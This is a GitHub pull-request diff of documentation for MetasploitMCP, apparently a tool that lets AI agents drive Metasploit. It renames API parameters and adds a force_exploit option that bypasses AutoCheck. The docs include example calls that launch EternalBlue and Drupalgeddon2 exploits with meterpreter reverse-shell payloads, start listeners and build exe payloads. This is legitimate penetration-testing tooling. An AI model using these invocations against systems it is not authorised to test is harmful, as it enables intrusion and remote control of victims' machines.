Skip to content
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
365 changes: 345 additions & 20 deletions MetasploitMCP.py

Large diffs are not rendered by default.

33 changes: 17 additions & 16 deletions docs/API.md
Original file line number Diff line number Diff line change
Expand Up @@ -33,12 +33,13 @@ List available Metasploit exploit modules with optional filtering.
Execute a Metasploit exploit module.

**Parameters:**
- `module_name` (string): Exploit module name (e.g., "windows/smb/ms17_010_eternalblue")
- `module` (string): Exploit module name (e.g., "exploit/windows/smb/ms17_010_eternalblue")
- `options` (dict/string): Module options (e.g., {"RHOSTS": "192.168.1.100"})
- `payload_name` (optional, string): Payload to use
- `payload` (optional, string): Payload to use
- `payload_options` (optional, dict/string): Payload-specific options
- `run_as_job` (optional, bool): Run as background job (default: false)
- `run_as_job` (optional, bool): Run as background job (default: true)
- `check_vulnerability` (optional, bool): Check if target is vulnerable first (default: false)
- `force_exploit` (optional, bool): Force exploitation past inconclusive checks (default: true)
- `timeout_seconds` (optional, int): Timeout for exploit execution (default: 60)

**Returns:**
Expand All @@ -65,15 +66,15 @@ List available Metasploit payload modules with optional filtering.
Generate a Metasploit payload.

**Parameters:**
- `payload_type` (string): Payload type (e.g., "windows/meterpreter/reverse_tcp")
- `format_type` (string): Output format ("raw", "exe", "python", etc.)
- `payload` (string): Payload type (e.g., "windows/meterpreter/reverse_tcp")
- `format` (string): Output format ("raw", "exe", "python", etc.)
- `options` (dict/string): Payload options (e.g., {"LHOST": "192.168.1.100", "LPORT": 4444})
- `encoder` (optional, string): Encoder to use
- `iterations` (optional, int): Encoding iterations
- `bad_chars` (optional, string): Bad characters to avoid
- `output_filename` (optional, string): Desired filename
- `reverse_listener_bind_address` (optional, string): Bind address (defaults to 0.0.0.0)
- `reverse_listener_bind_port` (optional, int): Bind port (defaults to LPORT)
- `reverselistenerbindaddress` (optional, string): Bind address (defaults to 0.0.0.0)
- `reverselistenerbindport` (optional, int): Bind port (defaults to LPORT)

**Returns:**
- `status`: "success" or "error"
Expand Down Expand Up @@ -120,13 +121,13 @@ Terminate an active session.
Start a new Metasploit handler (listener) as a background job.

**Parameters:**
- `payload_type` (string): Payload to handle (e.g., "windows/meterpreter/reverse_tcp")
- `payload` (string): Payload to handle (e.g., "windows/meterpreter/reverse_tcp")
- `lhost` (string): Listener host address (what target connects to)
- `lport` (int): Listener port (1-65535)
- `additional_options` (optional, dict/string): Additional payload options
- `exit_on_session` (optional, bool): Exit handler after first session (default: false)
- `reverse_listener_bind_address` (optional, string): Bind address (defaults to 0.0.0.0)
- `reverse_listener_bind_port` (optional, int): Bind port (defaults to lport)
- `reverselistenerbindaddress` (optional, string): Bind address (defaults to 0.0.0.0)
- `reverselistenerbindport` (optional, int): Bind port (defaults to lport)

**Returns:**
- `status`: "success" or "error"
Expand Down Expand Up @@ -190,10 +191,10 @@ Common error scenarios:
{
"tool": "start_listener",
"arguments": {
"payload_type": "windows/meterpreter/reverse_tcp",
"payload": "windows/meterpreter/reverse_tcp",
"lhost": "192.168.1.100",
"lport": 4444,
"reverse_listener_bind_address": "0.0.0.0"
"reverselistenerbindaddress": "0.0.0.0"
}
}
```
Expand All @@ -204,12 +205,12 @@ Common error scenarios:
{
"tool": "run_exploit",
"arguments": {
"module_name": "windows/smb/ms17_010_eternalblue",
"module": "windows/smb/ms17_010_eternalblue",
"options": {
"RHOSTS": "192.168.1.50",
"RPORT": 445
},
"payload_name": "windows/x64/meterpreter/reverse_tcp",
"payload": "windows/x64/meterpreter/reverse_tcp",
"payload_options": {
"LHOST": "192.168.1.100",
"LPORT": 4444
Expand All @@ -225,8 +226,8 @@ Common error scenarios:
{
"tool": "generate_payload",
"arguments": {
"payload_type": "windows/meterpreter/reverse_tcp",
"format_type": "exe",
"payload": "windows/meterpreter/reverse_tcp",
"format": "exe",
"options": {
"LHOST": "192.168.1.100",
"LPORT": 4444
Expand Down
43 changes: 33 additions & 10 deletions docs/INTELLIGENT_ERROR_DETECTION.md
Original file line number Diff line number Diff line change
Expand Up @@ -6,21 +6,44 @@ MetasploitMCP now automatically detects when **payload options** (like `LHOST`,

## 🔍 Problem This Solves

### AutoCheck Silent Abort

Metasploit modules frequently run `AutoCheck` before exploitation. For targets
that return ambiguous responses (common for web apps), the check can be
inconclusive and the exploit aborts with:

```
Cannot reliably check exploitability. "set ForceExploit true" to override check result.
```

MetasploitMCP now supports `force_exploit` in `run_exploit` to bypass this
gate when you intend to execute:

```python
await run_exploit(
module="exploit/unix/webapp/drupal_drupalgeddon2",
options={"RHOSTS": "192.168.1.50", "TARGETURI": "/"},
payload="php/meterpreter/reverse_tcp",
payload_options={"LHOST": "192.168.1.10", "LPORT": 4444},
force_exploit=True,
)
```

### The Issue

When running exploits with `run_as_job=True` (RPC mode), Metasploit is stricter about option validation than console mode. A common mistake is passing payload options like `LHOST` and `LPORT` as module options:

```python
# ❌ WRONG: Payload options in module options
await run_exploit(
module_name='exploit/unix/irc/unreal_ircd_3281_backdoor',
module='exploit/unix/irc/unreal_ircd_3281_backdoor',
options={
'RHOSTS': '10.0.2.15',
'RPORT': '6697',
'LHOST': '10.0.0.1', # ❌ This is a PAYLOAD option, not module option!
'LPORT': 4444 # ❌ This is a PAYLOAD option, not module option!
},
payload_name='cmd/unix/reverse'
payload='cmd/unix/reverse'
)
```

Expand All @@ -46,15 +69,15 @@ These options belong to the PAYLOAD, not the exploit module 'exploit/unix/irc/un
Example:
✗ WRONG:
run_exploit(
module_name='exploit/unix/irc/unreal_ircd_3281_backdoor',
module='exploit/unix/irc/unreal_ircd_3281_backdoor',
options={'RHOSTS': '...', 'LHOST': '...', 'LPORT': ...}, # ❌ LHOST/LPORT here
payload_name='...')
payload='...')

✓ CORRECT:
run_exploit(
module_name='exploit/unix/irc/unreal_ircd_3281_backdoor',
module='exploit/unix/irc/unreal_ircd_3281_backdoor',
options={'RHOSTS': '...', 'RPORT': ...}, # ✅ Module options only
payload_name='...',
payload='...',
payload_options={'LHOST': '...', 'LPORT': ...}) # ✅ Payload options separate
```

Expand Down Expand Up @@ -98,15 +121,15 @@ If you try to set `LHOST` on the module, MetasploitMCP:

```python
await run_exploit(
module_name='exploit/unix/ftp/proftpd_modcopy_exec',
module='exploit/unix/ftp/proftpd_modcopy_exec',
options={
'RHOSTS': '10.0.2.15',
'RPORT': '80',
'RPORT_FTP': '21',
'SITEPATH': '/var/www/html/',
'TMPPATH': '/tmp'
},
payload_name='cmd/unix/reverse_perl',
payload='cmd/unix/reverse_perl',
payload_options={
'LHOST': '10.0.0.1',
'LPORT': 4444
Expand All @@ -118,12 +141,12 @@ await run_exploit(

```python
await run_exploit(
module_name='exploit/windows/smb/ms17_010_eternalblue',
module='exploit/windows/smb/ms17_010_eternalblue',
options={
'RHOSTS': '192.168.1.10',
'RPORT': 445
},
payload_name='windows/x64/meterpreter/reverse_tcp',
payload='windows/x64/meterpreter/reverse_tcp',
payload_options={
'LHOST': '192.168.1.5',
'LPORT': 4444,
Expand Down
24 changes: 12 additions & 12 deletions docs/PORT_AVAILABILITY_CHECK.md
Original file line number Diff line number Diff line change
Expand Up @@ -50,7 +50,7 @@ When starting a standalone listener (for generated payloads or persistent handle

```python
result = await start_listener(
payload_type="windows/meterpreter/reverse_tcp",
payload="windows/meterpreter/reverse_tcp",
lhost="10.0.0.1",
lport=4444 # Port is checked before binding
)
Expand All @@ -70,9 +70,9 @@ When running exploits with reverse payloads:

```python
result = await run_exploit(
module_name="exploit/unix/ftp/proftpd_modcopy_exec",
module="exploit/unix/ftp/proftpd_modcopy_exec",
options={"RHOSTS": "192.168.1.100"},
payload_name="cmd/unix/reverse_perl",
payload="cmd/unix/reverse_perl",
payload_options={"LHOST": "10.0.0.1", "LPORT": 4444} # Port is checked
)
```
Expand All @@ -91,8 +91,8 @@ When generating payloads (non-blocking, just a warning):

```python
result = await generate_payload(
payload_type="windows/meterpreter/reverse_tcp",
format_type="exe",
payload="windows/meterpreter/reverse_tcp",
format="exe",
options={"LHOST": "10.0.0.1", "LPORT": 4444} # Port is checked
)
```
Expand All @@ -112,11 +112,11 @@ The check respects the `ReverseListenerBindAddress` and `ReverseListenerBindPort
```python
# Example: Check port 8080 on localhost only
result = await start_listener(
payload_type="windows/meterpreter/reverse_tcp",
payload="windows/meterpreter/reverse_tcp",
lhost="192.168.1.100", # External IP advertised to target
lport=4444,
reverse_listener_bind_address="127.0.0.1", # Bind only to localhost
reverse_listener_bind_port=8080 # Use different port for binding
reverselistenerbindaddress="127.0.0.1", # Bind only to localhost
reverselistenerbindport=8080 # Use different port for binding
)
# Checks: 127.0.0.1:8080 (not 0.0.0.0:4444)
```
Expand All @@ -132,7 +132,7 @@ tcp6 0 0 :::80 :::* LISTEN 1234/apache2

# Try to start listener on port 80
await start_listener(
payload_type="cmd/unix/reverse_bash",
payload="cmd/unix/reverse_bash",
lhost="10.0.0.1",
lport=80
)
Expand Down Expand Up @@ -168,9 +168,9 @@ await start_listener("windows/meterpreter/reverse_tcp", "10.0.0.1", 4444)

# Try to run exploit with same port (will fail!)
await run_exploit(
module_name="exploit/windows/smb/ms17_010_eternalblue",
module="exploit/windows/smb/ms17_010_eternalblue",
options={"RHOSTS": "192.168.1.10"},
payload_name="windows/meterpreter/reverse_tcp",
payload="windows/meterpreter/reverse_tcp",
payload_options={"LHOST": "10.0.0.1", "LPORT": 4444}
)
# Error: Port 4444 already in use
Expand Down Expand Up @@ -235,7 +235,7 @@ Port checks are fast (< 1ms typically) and non-blocking:

**Cause:** The port might be bound to a specific interface that you're checking.

**Solution:** Try binding to a specific interface with `reverse_listener_bind_address`.
**Solution:** Try binding to a specific interface with `reverselistenerbindaddress`.

### Port check passes but Metasploit fails to bind

Expand Down
20 changes: 16 additions & 4 deletions docs/TROUBLESHOOTING.md
Original file line number Diff line number Diff line change
Expand Up @@ -165,22 +165,22 @@ Move payload-specific options to `payload_options`:
```python
# ❌ WRONG
await run_exploit(
module_name='exploit/unix/irc/unreal_ircd_3281_backdoor',
module='exploit/unix/irc/unreal_ircd_3281_backdoor',
options={
'RHOSTS': '10.0.2.15',
'LHOST': '10.0.0.1', # ❌ Wrong location
'LPORT': 4444 # ❌ Wrong location
},
payload_name='cmd/unix/reverse'
payload='cmd/unix/reverse'
)

# ✅ CORRECT
await run_exploit(
module_name='exploit/unix/irc/unreal_ircd_3281_backdoor',
module='exploit/unix/irc/unreal_ircd_3281_backdoor',
options={
'RHOSTS': '10.0.2.15'
},
payload_name='cmd/unix/reverse',
payload='cmd/unix/reverse',
payload_options={
'LHOST': '10.0.0.1', # ✅ Correct location
'LPORT': 4444 # ✅ Correct location
Expand Down Expand Up @@ -228,6 +228,7 @@ Cannot start listener: Port 4444 is already in use on 0.0.0.0
2. **Firewall:** Blocking reverse connections
3. **Wrong LHOST:** Not reachable from target
4. **Service not vulnerable:** Target may be patched
5. **AutoCheck aborted the exploit:** Metasploit stopped due to an inconclusive check

**Debugging Steps:**

Expand All @@ -250,6 +251,17 @@ Cannot start listener: Port 4444 is already in use on 0.0.0.0
nmap -sV -p TARGET_PORTS TARGET_IP
```

4. **Bypass AutoCheck when appropriate:**
```python
await run_exploit(
module="exploit/unix/webapp/drupal_drupalgeddon2",
options={"RHOSTS": "192.168.1.50", "TARGETURI": "/"},
payload="php/meterpreter/reverse_tcp",
payload_options={"LHOST": "192.168.1.10", "LPORT": 4444},
force_exploit=True,
)
```

## Listener Issues

### Duplicate Listener Error
Expand Down
Loading
Loading